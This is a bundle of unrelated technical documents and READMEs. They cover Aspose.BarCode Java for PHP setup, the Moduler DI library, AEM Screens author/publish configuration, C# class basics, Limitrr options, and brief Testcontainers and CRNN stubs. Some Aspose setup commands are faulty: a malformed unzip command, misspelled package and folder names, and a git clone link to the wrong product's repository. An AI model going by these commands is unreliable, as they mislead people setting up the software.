text:
---
title: Aspose.BarCode Java For PHP
type: docs
weight: 50
url: /java/aspose-barcode-java-for-php/
---

## **Introduction to Aspose.Barcode Java for PHP**
### **PHP / Java Bridge**
The PHP/Java Bridge is an implementation of a streaming, XML-based [network protocol](http://php-java-bridge.sourceforge.net/pjb/PROTOCOL.TXT), which can be used to connect a native script engine, for example PHP, Scheme or Python, with a Java virtual machine. It is up to 50 times faster than local RPC via SOAP, requires less resources on the web-server side. It is [faster](http://php-java-bridge.sourceforge.net/pjb/FAQ.html#performance) and more reliable than direct communication via the Java Native Interface, and it requires no additional components to invoke Java procedures from PHP or PHP procedures from Java.

Read more at [sourceforge.net](http://php-java-bridge.sourceforge.net/pjb/)
### **Aspose.Barcode for Java**
Aspose.BarCode for Java is a robust and reliable barcode generation and recognition component, written in Java, it allows developers to quickly and easily add barcode generation and recognition functionality to their Java applications.

Aspose.BarCode for Java supports the Java SE, Java EE and Java ME platforms.
### **Aspose.Barcode Java for PHP**
Project Aspose.Barcode for PHP shows how different tasks can be performed using Aspose.Barcode Java APIs in PHP. This project is aimed to provide useful examples for PHP Developers who want to utilize Aspose.Barcode for Java in their PHP Projects using [PHP/Java Bridge](http://php-java-bridge.sourceforge.net/pjb/).

**This section includes the following topics:**

- [Download and Configure Aspose.Barcode in PHP](/barcode/java/download-and-configure-aspose-barcode-in-php-html/)
- [PHP Programmers Guide](/barcode/java/php-programmers-guide-html/)
  - [Working with 2D Barcodes in PHP](/barcode/java/working-with-2d-barcodes-in-php-html/)
    - [Basic 2D Barcode Features in PHP](/barcode/java/basic-2d-barcode-features-in-php-html/)
      - [Creating a DataMatrix Barcode](/barcode/java/creating-a-datamatrix-barcode-html/)
      - [Creating an Aztec Barcode in PHP](/barcode/java/creating-an-aztec-barcode-in-php-html/)
      - [Creating a Pdf417 Barcode in PHP](/barcode/java/creating-a-pdf417-barcode-in-php-html/)
      - [Creating a QR Barcode in PHP](/barcode/java/creating-a-qr-barcode-in-php-html/)
      - [Creating Two Dimensional (2D) Barcodes in PHP](/barcode/java/creating-two-dimensional-282d-29-barcodes-in-php-html/)
    - [Utility 2D Barcode Features in PHP](/barcode/java/utility-2d-barcode-features-in-php-html/)
      - [Generate Multiple MacroPdf417 Barcodes for Large or Multiple Code Text Values in PHP](/barcode/java/generate-multiple-macropdf417-barcodes-for-large-or-multiple-code-text-values-in-php-html/)
      - [Hiding Code Text that is too Long to Display in PHP](/barcode/java/hiding-code-text-that-is-too-long-to-display-in-php-html/)
      - [Set Aspect Ratio of Barcodes in PHP](/barcode/java/set-aspect-ratio-of-barcodes-in-php-html/)
  - [Working with Barcode Image in PHP](/barcode/java/working-with-barcode-image-in-php-html/)
    - [Barcode Image Basic Features in PHP](/barcode/java/barcode-image-basic-features-in-php-html/)
      - [Colorize any Part of the Barcode Image in PHP](/barcode/java/colorize-any-part-of-the-barcode-image-in-php-html/)
      - [Control Barcode Image Quality in PHP](/barcode/java/control-barcode-image-quality-in-php-html/)
      - [Generate Barcode with Empty Bars in PHP](/barcode/java/generate-barcode-with-empty-bars-in-php-html/)
      - [Rotate Barcode Image in PHP](/barcode/java/rotate-barcode-image-in-php-html/)
      - [Set Barcode Image Margins in PHP](/barcode/java/set-barcode-image-margins-in-php-html/)
      - [Working with Image Borders in PHP](/barcode/java/working-with-image-borders-in-php-html/)
    - [Barcode Image Utility Features in PHP](/barcode/java/barcode-image-utility-features-in-php-html/)
      - [Customize Barcode Image Resolution in PHP](/barcode/java/customize-barcode-image-resolution-in-php-html/)
      - [Generate Barcode by Specifying Custom Image Size in PHP](/barcode/java/generate-barcode-by-specifying-custom-image-size-in-php-html/)
      - [Save Barcode Image to Streams in PHP](/barcode/java/save-barcode-image-to-streams-in-php-html/)
      - [Set Size Unit for the Barcode Image in PHP](/barcode/java/set-size-unit-for-the-barcode-image-in-php-html/)
  - [Working with Barcode in PHP](/barcode/java/working-with-barcode-in-php-html/)
    - [Advanced Barcode Features in PHP](/barcode/java/advanced-barcode-features-in-php-html/)
      - [Generate AustraliaPost Barcode with Different Format Control Code Options in PHP](/barcode/java/generate-australiapost-barcode-with-different-format-control-code-options-in-php-html/)
      - [How to Generate a Patch Code in PHP](/barcode/java/how-to-generate-a-patch-code-in-php-html/)
      - [Manage X-Dimension and Y-Dimension in PHP](/barcode/java/manage-x-dimension-and-y-dimension-in-php-html/)
      - [Set Height of the Bars in the Barcode Image in PHP](/barcode/java/set-height-of-the-bars-in-the-barcode-image-in-php-html/)
      - [Set Start and Stop Symbols of Codabar Barcode in PHP](/barcode/java/set-start-and-stop-symbols-of-codabar-barcode-in-php-html/)
      - [Use Checksum and Supplement Data for Barcodes in PHP](/barcode/java/use-checksum-and-supplement-data-for-barcodes-in-php-html/)
      - [Wide Narrow Ratio in PHP](/barcode/java/wide-narrow-ratio-in-php-html/)
    - [Utility Features in PHP](/barcode/java/utility-features-in-php-html/)
      - [Control the Appearance of Code Text in PHP](/barcode/java/control-the-appearance-of-code-text-in-php-html/)
      - [Manage the Barcode Caption in PHP](/barcode/java/manage-the-barcode-caption-in-php-html/)
      - [Set Code Text for Barcode in PHP](/barcode/java/set-code-text-for-barcode-in-php-html/)
      - [Specify Symbologies for Barcodes in PHP](/barcode/java/specify-symbologies-for-barcodes-in-php-html/)
  - [Working with Barcode Recognition in PHP](/barcode/java/working-with-barcode-recognition-in-php-html/)
    - [Advanced Barcode Recognition Features in PHP](/barcode/java/advanced-barcode-recognition-features-in-php-html/)
      - [Get all Possible 1D Barcodes from an Image in PHP](/barcode/java/get-all-possible-1d-barcodes-from-an-image-in-php-html/)
      - [Get BarCode Recognition Quality in Percent in PHP](/barcode/java/get-barcode-recognition-quality-in-percent-in-php-html/)
      - [Getting Barcode Region Information from the Image in PHP](/barcode/java/getting-barcode-region-information-from-the-image-in-php-html/)
      - [Marking Barcode Regions in an Image in PHP](/barcode/java/marking-barcode-regions-in-an-image-in-php-html/)
      - [Read Barcode from Specific Region of Image in PHP](/barcode/java/read-barcode-from-specific-region-of-image-in-php-html/)
      - [Switch Barcode Recognition Modes According to the Requirement in PHP](/barcode/java/switch-barcode-recognition-modes-according-to-the-requirement-in-php-html/)
    - [Basic Barcode Recognition Features in PHP](/barcode/java/basic-barcode-recognition-features-in-php-html/)
      - [Introducing Barcode Recognition in PHP](/barcode/java/introducing-barcode-recognition-in-php-html/)
      - [Recognizing Multiple Symbologies in Single Image in PHP](/barcode/java/recognizing-multiple-symbologies-in-single-image-in-php-html/)
      - [Recognizing Specific Barcode Symbology in PHP](/barcode/java/recognizing-specific-barcode-symbology-in-php-html/)
- [Support, Extend and Contribute to Aspose.BarCode in PHP](/barcode/java/support-2c-extend-and-contribute-to-aspose-barcode-in-php-html/)
## **System Requirements and Supported Platforms**
### **System Requirements**
**Following are the system requirements to use Aspose.Barcode Java for PHP:**

- Tomcat Server 8.0 or above installed.
- PHP/JavaBridge is configured.
- FastCGI is installed.
- Downloaded Aspose.Barcode component.
### **Supported Platforms**
**Following are the supported platforms:**

- PHP 5.3 or above
- Java 1.8 or above
## **Downloads and Configure**
### **Download Required Libraries**
Download required libraries mentioned below. These are the required for executing Aspose.Barcode Java for PHP examples.

- **Aspose:** [Aspose.Barcode for Java Component](http://www.aspose.com/community/files/72/java-components/aspose.barcode-for-java/default.aspx)
- [PHP/Java Bridge](http://citylan.dl.sourceforge.net/project/php-java-bridge/Binary%20package/php-java-bridge_6.2.1/php-java-bridge_6.2.1_documentation.zip)
### **Download Examples from Social Coding Sites**
Following releases of running examples are available to download on below mentioned social coding sites:

-----
#### **GitHub**
- **Aspose.Barcode Java for PHP Examples**
  - [Aspose.Barcode Java for PHP](https://github.com/aspose-barcode/Aspose.BarCode-for-Java/tree/master/Plugins/Aspose_Barcode_Java_for_PHP)
#### **CodePlex**
- **Aspose.Barcode Java for PHP Examples**
  - [Aspose.Barcode Java for PHP](https://asposebarcodejavaphp.codeplex.com/)
### **How to configure the source code on Linux Platform**
Please follow these simple steps in order to open and extend the source code while using:
### **1. Install Tomcat Server**
To install tomcat server, issue following command on the linux console. This will successfully install tomcat server.

{{< highlight actionscript3 >}}

 sudo apt-get install tomcat8

{{< /highlight >}}
### **2. Download and Configure PHP/JavaBridge**
In order to download the PHP/JavaBridge binaries, issue following command on the linux console.

{{< highlight actionscript3 >}}

  wget http://citylan.dl.sourceforge.net/project/php-java-bridge/Binary%20package/php-java-bridge_6.2.1/php-java-bridge_6.2.1_documentation.zip

{{< /highlight >}}

Unzip the PHP/JavaBridge binaries by issuing the following command on linux console.

{{< highlight actionscript3 >}}

  unzip -d php-java-bridge_6.2.1_documentation.zip

{{< /highlight >}}

This will extract **JavaBridge.war** file. Copy it to tomcat88 **webapps** folder by issuing the following command on Linux console.

{{< highlight actionscript3 >}}

  sudo cp JavaBridge.war /var/lib/tomcat8/webapps/JavaBridge.war

{{< /highlight >}}

By copying, tomcat8 will automatically create a new folder "**JavaBridge**" in **webapps**. Once the folder is created, make sure your tomcat8 is running and then check <http://localhost:8080/JavaBridge> in browser, it should open a default page of JavaBridge.

If any error message appears then install  **FastCGI** by issuing the following command on Linux console.

{{< highlight actionscript3 >}}

  sudo apt-get install php55-cgi

{{< /highlight >}}

After installing php5.5 cgi, restart tomcat8 server and check <http://localhost:8080/JavaBridge> again in the browser.

If **JAVA_HOME** error is displayed, then open /etc/default/tomcat8 file and uncomment the line that sets the JAVA_HOME. Check <http://localhost:8080/JavaBridge> in browser again, it should come with PHP/JavaBridge Examples page.
### **3. Configure Aspose.Barcode Java for PHP Examples**
Clone, PHP examples by issuing the following commands inside webapps/JavaBridge folder.

{{< highlight actionscript3 >}}

 $ git init

$ git clone [https://github.com/asposeslides/Aspose_Slides_Java/tree/master/Plugins/Aspose_Slides_Java_for_PHP]

{{< /highlight >}}

### **How to configure the source code on Windows Platform**
Please follow below simple steps to configure PHP/Java Bridge on Windows Platform

\1. Install PHP5 and configure as you normally do
\2. Install JRE 6 (Java Runtime Environment) if you don’t already have it. You can check this in C:\Program Files etc. You can download it here . I am using JRE 6 as It is compatible with PHP Java Bridge (PJB).

\3. Install Apache Tomcat 8.0. You can download it here

4.Download [JavaBridge.war](http://sourceforge.net/projects/php-java-bridge/files/Binary%20package/php-java-bridge_6.2.1/JavaBridgeTemplate621.war/download). Copy this file to tomcat webapps directory.
(ex: C:\Program Files\Apache Software Foundation\Tomcat 8.0\webapps )

\5. Restart tomcat apache service.

6.Go to <http://localhost:8080/JavaBridge/test.php> to check if php works. You can find other examples in there

7.Copy your [Aspose.Barcode Java](http://www.aspose.com/community/files/72/java-components/aspose.barcode-for-java/default.aspx) jar file to C:\Program Files\Apache Software Foundation\Tomcat 8.0\webapps\JavaBridge\WEB-INF\lib

\8. Clone [Aspose.Barcode Java for PHP](https://github.com/aspose-barcode/Aspose.BarCode-for-Java/tree/master/Plugins/Aspose.BarCode-for-Java_for_PHP) examples inside C:\Program Files\Apache Software Foundation\Tomcat 8.0\webapps\ folder.

\8. Copy folder C:\Program Files\Apache Software Foundation\Tomcat 8.0\webapps\JavaBridge\java to your Aspose.Barcode Java for PHP examples folder.

\10. Restart apache tomcat service and start using examples.
## **Support, Extend and Contribute**
### **Support**
From the very first days of Aspose, we knew that just giving our customers good products would not be enough. We also needed to deliver good service. We are developers ourselves and understand how frustrating it is when a technical issue or a quirk in the software stops you from doing what you need to do. We're here to solve problems, not create them.

This is why we offer free support. Anyone who uses our product, whether they have bought them or are using an evaluation, deserves our full attention and respect.

You can log any issues or suggestions related to Aspose.Barcode Java for PHP using any of the following platforms:

- [Github](https://github.com/aspose-barcode/Aspose.BarCode-for-Java/issues)
- [CodePlex](https://asposebarcodejavaphp.codeplex.com/workitem/list/basic)
### **Extend and Contribute**
Aspose.Barcode Java for PHP is open source and its source code is available on the major social coding websites listed below. Developers are encouraged to download the source code and contribute by suggesting or adding new feature or improving the existing ones, so that others could also benefit from it.
### **Source Code**
You can get the latest source code from one of the following locations

- [Github](https://github.com/aspose-barcode/Aspose.BarCode-for-Java/tree/master/Plugins/Aspose_Barcode_Java_for_PHP)
- [CodePlex](https://asposebarcodejavaphp.codeplex.com/SourceControl/latest)


text:
# Moduler
This library provide you possibility to create modules for DI, using `Microsoft.Extensions.DependencyInjection.IServiceCollection`.

#### Create module examples
```csharp
public class ServiceModule : IModule
{
        public void Load(IServiceCollection serviceCollection)
        {
            serviceCollection.AddTransient<IMessageService, SmsService>();
        }
}
```

For create module you need create class and implement `IModule` interface.
`IModule` interface has just only one method `Load`, that gets `Microsoft.Extensions.DependencyInjection.IServiceCollection`.

#### Inject your modules examples

`Moduler` provide 3 possability to inject your module.
1. Using `serviceCollection.AddModules(Assembly.GetExecutingAssembly());`.  This method scans all modules for assembly, injects its to `IServiceCollection` by dynamically module instantiation.
2. Using `serviceCollection.AddModule(new ServiceModule())`. This method injects all module dependencies to `IServiceCollection` by directly module instantiation.
3. Using `serviceCollection.AddModule<ServiceModule>()`. This method injects all modules dependencies to `IServiceCollection` by dynamically module instantiation.

### Nuget
`Install-Package Moduler -Version 1.0.1`

license: MIT

repository: olehspidey/Moduler

branch_name: refs/heads/master

extension: md

license_type: permissive

repo_name: olehspidey/Moduler


text:
---
title: Configuring Author and Publish in AEM Screens
seo-title: Configuring Author and Publish in AEM Screens
description: AEM Screens architecture resembles a traditional AEM Sites architecture. Content is authored on an AEM author instance and then forward-replicated to multiple publish instances. Follow this page to learn how to configure author and publish for AEM Screens.
seo-description: AEM Screens architecture resembles a traditional AEM Sites architecture. Content is authored on an AEM author instance and then forward-replicated to multiple publish instances. Follow this page to learn how to configure author and publish for AEM Screens.
uuid: 2bea5594-8a89-4aa2-8f3c-35ce84c84cc6
contentOwner: jsyal
content-type: reference
products: SG_EXPERIENCEMANAGER/6.4/SCREENS
topic-tags: authoring
discoiquuid: a6886b33-3bf1-4a81-8b9b-b6c154ca06d7
---

# Configuring Author and Publish in AEM Screens{#configuring-author-and-publish-in-aem-screens}

This page highlights the following topics:

* **Configuring Author and Publish Instances**
* **Setting Up Publish Topology**
* **Managing Publication: Delivering Content Updates from Author to Publish to Device**

## Prerequisites {#prerequisites}

Before getting started with author and publish servers, you should have prior knowledge of:

* **AEM Topology**
* **Creating and Managing AEM Screens Project**
* **Device Registration Process**

>[!NOTE]
>
>This AEM Screens functionality is only available, if you have installed AEM 6.4 Screens Feature Pack 2. To get access to this Feature Pack, you must contact Adobe Support and request access. Once you have permissions you can download it from Package Share.

## Configuring Author and Publish instances {#configuring-author-and-publish-instances}

>[!NOTE]
>
>To learn more about the author and publish architectural overview and how the content is authored on an AEM author instance and then forward-replicated to multiple publish instances, refer to [Author and Publish Architectural Overview](author-publish-architecture-overview.md).

The following section explains how to setup replication agents on author and publish topology.

You can set up a simple example, where you host an author and two publish instances:

* Author --> localhost:4502
* Publish 1 (pub1) --> localhost:4503
* Publish (pub2) --> localhost:4504

### Setting up Replication Agents on Author {#setting-up-replication-agents-on-author}

To create replication agents, you must learn how to create a standard replication agent.

There are 3 replication agents are needed for Screens:

1. **Default Replication Agent ***(specified as*** Standard Replication Agent**)

1. **Screens Replication Agent**
1. **Reverse Replication Agent**

Follow the same steps to create a reverse replication agent.

1. Navigate to your AEM instance --> hammer icon --> **Operations** --> **Configuration**.

   ![screen_shot_2019-02-25at24621pm](assets/screen_shot_2019-02-25at24621pm.png)

1. Select the **Replication** from the left navigation tree.

   ![screen_shot_2019-02-25at24715pm](assets/screen_shot_2019-02-25at24715pm.png)

1. Select the **Agents on author** from the **Replication** folder and click **New** to create a new standard replication agent.

   ![screen_shot_2019-02-25at25400pm](assets/screen_shot_2019-02-25at25400pm.png)

1. Enter the **Title** and **Name** to create the replication agent and click **Create**.

   ![screen_shot_2019-02-25at25737pm](assets/screen_shot_2019-02-25at25737pm.png)

1. Right click the replication agent and click **Open** to edit the settings.

   ![screen_shot_2019-02-25at30018pm](assets/screen_shot_2019-02-25at30018pm.png)

1. Click **Edit** to open the **Agent Settings** dialog box to enter the details.

   ![screen_shot_2019-02-25at30134pm](assets/screen_shot_2019-02-25at30134pm.png)

1. Navigate to the **Transport** tab and enter the **URI**, **User** and **Password**.

   ![screen_shot_2019-03-04at34955pm](assets/screen_shot_2019-03-04at34955pm.png)

   >[!NOTE]
   >
   >You can also copy and rename an existing default replication agent.

#### Creating Standard Replication Agents  {#creating-standard-replication-agents}

1. Create standard replication agent for pub1 (out-of-the-box default agent should already be configured) (for example, *https://<hostname>:4503/bin/receive?sling:authRequestLogin=1*)

1. Create standard replication agent for pub2. You can copy rep agent for pub1 and update the transport to be used for pub2 by changing the port in the transport configuration. (for example, *https://<hostname>:4504/bin/receive?sling:authRequestLogin=1*)

#### Creating Screens Replication Agents {#creating-screens-replication-agents}

1. Create AEM Screens replication agent for pub1. Out-of-the-box, there is a one named Screens Replication Agent that points to port 4503. This needs to be enabled.
1. Create AEM Screens replication agent for pub2. Copy the Screens replication agent for pub1 and change the port to point to 4504 for pub2.

#### Creating Screens Reverse Replication Agents {#creating-screens-reverse-replication-agents}

1. Create standard reverse replication agent for pub1.
1. Create standard reverse replication agent for pub2. You can copy reverse rep agent for pub1 and update the transport to be used for pub2 by changing the port in the transport configuration.

## Setting up Publish Topology {#setting-up-publish-topology}

### Step 1: Configure Apache Sling Oak-Based Discovery {#step-configure-apache-sling-oak-based-discovery}

Set up Apache Sling Oak-Based Discovery for all Publish instances in the topology

For each publish instance:

1. Navigate to https://<host>:<port>/system/console/configMgr
1. Select **Apache Sling Oak-Based Discovery Service** Configuration.
1. Update Topology connector URLs: add URLs of all partaking publish instances that is, [http://localhost:4502/libs/sling/topology/connector](http://localhost:4502/libs/sling/topology/connector)
1. Topology connector Whitelist: adapt to IPs or subnets covering partaking publish instances
1. Enable **Auto-Stop Local-Loops**

The configuration should be identical for each publish instance and the auto-stop Local-loop prevents an infinite loop.

### Step 2: Verify Publish Topology {#step-verify-publish-topology}

For any of the Publish instances navigate to https://<host>:<port>/system/console/topology. You should see each publish instance represented in the topology.

### Step 3: Setup ActiveMQ Artemis Cluster {#step-setup-activemq-artemis-cluster}

This step allows you to create encrypted password for ActiveMQ Artemis cluster.
The cluster user and password of all publish instances in the topology needs to be identical. The password of the ActiveMQ Artemis configuration needs to be encrypted. Since each instance has its own encryption key it is necessary to use Crypto Support to create an encrypted password string. Then encrypted password will be used in the OSGi config for ActiveMQ.

On each Publish Instance:

1. In the OSGi Console navigate to **MAIN** --> **Crypto Support** (*https://<host>:<port>/system/console/crypto*).

1. Type in the desired plain text password (same for all instances) in **Plain Text**
1. Click **Protect**.
1. Copy the value **Protected Text** to notepad or text editor. This value will be used in the OSGi config for ActiveMQ.

Since each publish instance by default has unique crypto keys you need to perform this step on each pub instance and save the unique key for the next configuration.

*For example*,

Pub1 - {1ec346330f1c26b5c48255084c3b7272a5e85260322edd59119828d1fa0a610e}
Pub2 - {8d3d113c834cc4f52c2daee0da3cb0a21122a31f0138bfe4b70c9ead79415f41}

### Step 4: Activate ActiveMQ Artemis Cluster {#step-activate-activemq-artemis-cluster}

On each publish instance:

1. Navigate to the OSGi Config manager *https://<host>:<port>/system/console/configMgr*
1. Select **Apache ActiveMQ Artemis JMS Provider** Configuration
1. Update the following:

* ***Cluster Password***: (use encrypted value from previous step per respective instance)
* ***Topics***: {name: 'commands', address: 'com.adobe.cq.screens.commands', maxConsumers: 50}

### Verify ActiveMQ Artemis Cluster {#verify-activemq-artemis-cluster}

Follow the steps below on each Publish instance:

1. Navigate to the OSGi Console -> Main > ActiveMQ Artemis ([http://localhost:4505/system/console/mq](http://localhost:4505/system/console/mq)).
1. Verify and check to view the ports of other instances under Cluster Information > Topology > nodes=2, members=2.
1. Send a Test Message (top of the screen under Broker Information)
1. Enter the following changes in fields:

    1. **Destination**: /com.adobe.cq.screens/devTestTopic
    1. **Text**: Hello World
    1. View the error.log of each instance to see that the message was sent and received across the cluste

>[!NOTE]
>
>Navigating to OSGI console, may take a few seconds after saving the configuration in the preceeding step. You can also check the error.log for more details.

As an example, the following image displays on successful configuration of ActiveMQ Artemis Server.

If you do not see the following configuration from */system/console/mq*, then navigate to */system/console/mq* and click **Restart** to restart the broker.

![image-2018-06-18-18-14-55-449](assets/image-2018-06-18-18-14-55-449.png)

### Remove referrer header requirement {#remove-referrer-header-requirement}

Follow the steps on each Publish instance:

1. Navigate to **Configuration Manager** from **OSGi Console**.
1. Select **Apache Sling Referrer Filter**.
1. Update config and **check Allow Empty**.

## Configuring Author and Publish Instance {#configuring-author-and-publish-instance}

Once you have set up the publish toplogy, you need to configure the author and publish instances, to view the practical results of implementation:

>[!NOTE]
>
>**Prerequisites**
>
>To get started with this example, create a new AEM Screens project followed by creating a location, display, and channel in your project. Add content to your channel and assign the channel to a display.

### Step 1: Starting an AEM Screens Player (device) {#step-starting-an-aem-screens-player-device}

1. Launch a separate browser window.
1. Go to Screens player using the [web browser](http://localhost:4502/content/mobileapps/cq-screens-player/firmware.html) or launch the AEM Screens app. When you open the device you will notice the device's state as unregistered.

>[!NOTE]
>
>You can open an AEM Screens player using the AEM Screens app you downloaded or using the web browser.

### Step 2: Registering a Device on Author {#step-registering-a-device-on-author}

1. Go to [http://localhost:4502/screens.html/content/screens/we-retail](http://localhost:4502/screens.html/content/screens/we-retail) or select your project and navigate to Devices > Device Manager.
1. Select **Register Device**.
1. Click **Device Registration** to view the device.
1. Select the device you want to register and click **Register Device**.
1. Verfiy the registration code and click **Validate**.
1. Enter a title for your device and click **Register**.

#### Step 3: Assigning the Device to Display {#step-assigning-the-device-to-display}

1. Click **Assign Display** from the dialog box from the preceeding step.
1. Select the display path for your channel from the **Locations** folder.
1. Click **Assign**.
1. Click **Finish** to complete the process, and now the device is assigned.

Check your player and you will see the content that you added in your channel.

### Step 4: Publishing Device Configuration to Publish Instances {#step-publishing-device-configuration-to-publish-instances}

**Verifying the Device**

Before, you perform the steps below, make sure to verify the Device ID. To verify, search for the device id in CRXDELite, with the path as */home/users/screens/{project}/devices*.

Follow the steps below to replicate the device user:

1. Navigate to the user admin page (e.g: [http://localhost:4502/useradmin](http://localhost:4502/useradmin)).
1. Search for the **screens-devices-master** group
1. Right click on the group, and click **Activate**

>[!CAUTION]
>
>Do not activate author-publish-screens-service as it is a system user, used by the Author Job.

You can also activate the device from the Device Management Console. Follow the steps below:

1. Navigate to your Screens project --> **Devices**.
1. Click **Device Manager** from the action bar.
1. Select the device and click **Activate** from the action bar, as in shown in the figure below.

![screen_shot_2019-02-21at111036am](assets/screen_shot_2019-02-21at111036am.png)

>[!NOTE]
>
>Alternatively, once you have activated the device you also can edit or update the server URL by clicking **Edit server URL** from the action bar, as shown in the figure below and your changes will be propagated to the AEM Screens player.

![screen_shot_2019-02-21at105527am](assets/screen_shot_2019-02-21at105527am.png)

## Publishing Check list {#publishing-check-list}

The following points summarizes the Publishing Check list:

* *Screens Device User* - This is stored as an AEM user and be activated from **Tools** > **Security** > **Users**. The user will be prefixed with "screens" with a long serialized string.

* *Project* - The AEM Screens project.

* *Location* - Location that device is connected to.
* *Channel(s)* - one or more channels that are being displayed at the location
* *Schedule* - if using a schedule ensure this is published
* *Location, Schedules, and Channel Folder* - if the corresponding resources are inside a folder.

Once you verify the checklist, you need to verify the following changes/behavior in your channel:

* After publishing the device config open the Screens player config and point it to the Publish instance. Also, you can also activate the device from the device management console.
* Update some channel content on Author and publish it and verify that the updated channel now displays on the AEM Screens player.
* Connect the Screens player to a different publish instance and verify behavior above.

### Step 5: Pointing the Device to Publish Instance in the Admin Panel {#step-pointing-the-device-to-publish-instance-in-the-admin-panel}

1. View the admin UI from the Screens player, long press on the top left corner to open the Admin menu, on your touch enabled AEM Screens player, or by using a mouse.
1. Click the **Configuration **option from the side panel.
1. Change author instance to publish instance in **Server**.

View the changes in your AEM Screens player.

Alternatively, you can also update/edit the server URL from the device management console using the following steps:

1. Navigate to your AEM Screens project and select the **Devices** folder.
1. Click **Device Manager** from the action bar.
1. Select the device and click **Edit server URL** from the action bar, as shown in the figure below and your changes will be propagated to the AEM Screens player.

![screen_shot_2019-02-07at31028pm](assets/screen_shot_2019-02-07at31028pm.png)

## Managing Publication: Delivering Content Updates from Author to Publish to Device {#managing-publication-delivering-content-updates-from-author-to-publish-to-device}

You can publish and unpublish content from AEM Screens. The Manage Publication feature allows you to deliver content updates from author to publish to device. You can publish/unpublish content for your entire AEM Screens project or only for one of your channel, location, device, application, or a schedule.

### Managing Publication for an AEM Screens Project {#managing-publication-for-an-aem-screens-project}

Follow the steps below to deliver content updates from author to publish to device for an AEM Screens Project:

1. Navigate to your AEM Screens project.
1. Click **Manage Publication** from the action bar to publish the project to publish instance.

   ![screen_shot_2019-02-25at21420pm](assets/screen_shot_2019-02-25at21420pm.png)

1. The **Manage Publication** wizard opens. You can select the **Action** and also schedule the publishing time for now or later. Click **Next**.

   ![screen_shot_2019-02-07at120304pm](assets/screen_shot_2019-02-07at120304pm.png)

1. Check the box to select the entire project from **Manage Publication** wizard.

   ![screen_shot_2019-02-25at22712pm](assets/screen_shot_2019-02-25at22712pm.png)

1. Click **+ Include Children** from the action bar and un-check all the options to publish all the modules in your project and click **Add** to publish.

   >[!NOTE]
   >
   >By default, all the boxes will be checked and you will have to manually un-check the boxes to publish all the modules in your project.

   ![screen_shot_2019-02-25at23116pm](assets/screen_shot_2019-02-25at23116pm.png)

1. Click **Publish** from the **Manage **Publication wizard**.

   ![screen_shot_2019-02-25at23341pm](assets/screen_shot_2019-02-25at23341pm.png)

   >[!NOTE]
   >
   >Wait for a few seconds/minutes so that the content reaches publish instance.
   >
   >The **Manage Publication** with update offline content is a two-step process and the steps must be in correct order.
   >
   > 1. The workflow will not work if **Update Offline Content** is triggered before publish using **Manage Publication**.
   > 1. The workflow will not work if there are no changes in the project and nothing for **Update Offline Content**.
   > 1. The workflow will not work if author does not completes the replication process (contents are still uploading to publish instance) after clicking the **Publish** button in the managing publication workflow.

1. Once you have completed the manage publication workflow, you must trigger the update offline content in author, that will create the update offline on the author instance.

   Navigate to the project and click **Update Offline Content** from the action bar. This action forwards the same command to publish instance, so that the offline zips are created on the publish instance as well.

   ![screen_shot_2019-02-25at23451pm](assets/screen_shot_2019-02-25at23451pm.png)

   >[!CAUTION]
   >
   >You must first publish and then trigger the update offline content, as summarized in the preceding steps.

### Managing Publication for a Channel {#managing-publication-for-a-channel}

Follow the steps below to deliver content updates from author to publish to device for a Channel in an AEM Screens Project:

>[!NOTE]
>
>Follow this section only if there are changes in a channel. If a channel does not have any changes after the previous update offline content, then the managing publication workflow for an individual channel will not work.

1. Navigate to your Screens project and select the channel.
1. Click **Manage Publication** from the action bar to publish the channel to publish instance.

   ![screen_shot_2019-02-07at115800am](assets/screen_shot_2019-02-07at115800am.png)

1. The **Manage Publication** wizard opens. You can select the **Action** and also schedule the publishing time for now or later. Click **Next**.

   ![screen_shot_2019-02-07at120304pm](assets/screen_shot_2019-02-07at120304pm.png)

1. Click **Publish **from the** Manage **Publication wizard.**

   ![screen_shot_2019-02-07at120507pm](assets/screen_shot_2019-02-07at120507pm.png)

   >[!NOTE]
   >
   >Wait for a few seconds/minutes so that the content reaches publish instance.

1. Once you have completed the manage publication workflow, you must trigger the update offline content in author, that will create the update offline on the author instance.

   Navigate to the channel dashboard and click **Update Offline Content**. This action forwards the same command to publish instance, so that the offline zips are created on the publish instance as well.

   ![screen_shot_2019-02-07at21608pm](assets/screen_shot_2019-02-07at21608pm.png)

   >[!CAUTION]
   >
   >You must first publish and then trigger the update offline content, as summarized in the preceding steps.

### Channel and Device Re-assignment: {#channel-and-device-re-assignment}

If you have re-assigned a device, you must publish both the initial display and the new display, once the device has been re-assigned to the new display.

Similarly, if you have re-assigned a channel, you must publish both the initial display and the new display, once the channel has been re-assigned to the new display.

gha_license_id: MIT


text:
# Testcontainers examples

You will find here all the source code necessary to start using Testcontainers in your integration test.

Testcontainers website : https://www.testcontainers.org/

Original article : <insert url here>


text:
---
title: Classes
layout: page
exclude: true
---

You can **define a class** by using the `class` keyword followed by the name of the class written in `PascalCase`.
```csharp
class MyClass
{
  // class stuff
}
```

You can **define a class constructor** by defining a method inside the class that matches the name of the class definition. The `this` keyword is used to define instance variable assignment.
```csharp
public MyClass(string name, int age)
{
  this.name = name;
  this.age = age;
}
```

You can **define a static "class" variable** by using the `static` keyword. This is shared amongst ALL instances of the class, when it is mutated on the class it changes for all instances. These can also be assigned *within* the class they are defined in.
```csharp
class MyClass
{
  static string ClassName = "My Class";
}
```

You can **assign a default value for a property** by adding an `=` equals assignment after the definition of the property.
```csharp
class MyClass
{
  public List<string> MyList { get; set; } = new List<string>();
}
```

gha_language: HTML


text:
# options

**Required**: false

**Type**: Object

**Description**: Various options to do with Limitrr.

- **keyName**: *String* The keyname all of the requests will be stored under. This is mainly for aesthetic purposes and does not affect much. However, this should be changed on each initialization of the class to prevent conflict. Defaults to: `"limitrr"`
- **catchErrors**: *Boolean* Should important errors such as failure to connect to the Redis keystore be caught and displayed? If this is set to false, it will throw an error instead. Defaults to `true`.

## Example

``` javascript
options: {
  keyName: "myApp", //The keyname all of the requests will be stored under. Required: false. Defaults to "limitrr"
  catchErrors: true //Should important errors such as failure to connect to the Redis keystore be caught and displayed?
}
```

repository: chewtoys/chae-limitrr

gha_language: JavaScript

repo_name: chewtoys/chae-limitrr


text:
# CRNN (Chemical Reaction Neural Network)

CRNN is an interpretable neural network architecture for autonomously inference chemical reaction pathways in various chemical systems. It is designed based on the following two fundamental physics laws: the Law of Mass Action and Arrhenius Law. It is also possible to incorporate other physics laws to adapt CRNN to a specific domain.

You can find the common questions regarding CRNN in the [FAQs](https://github.com/DENG-MIT/CRNN/wiki/FAQs).

# Structure of this repo

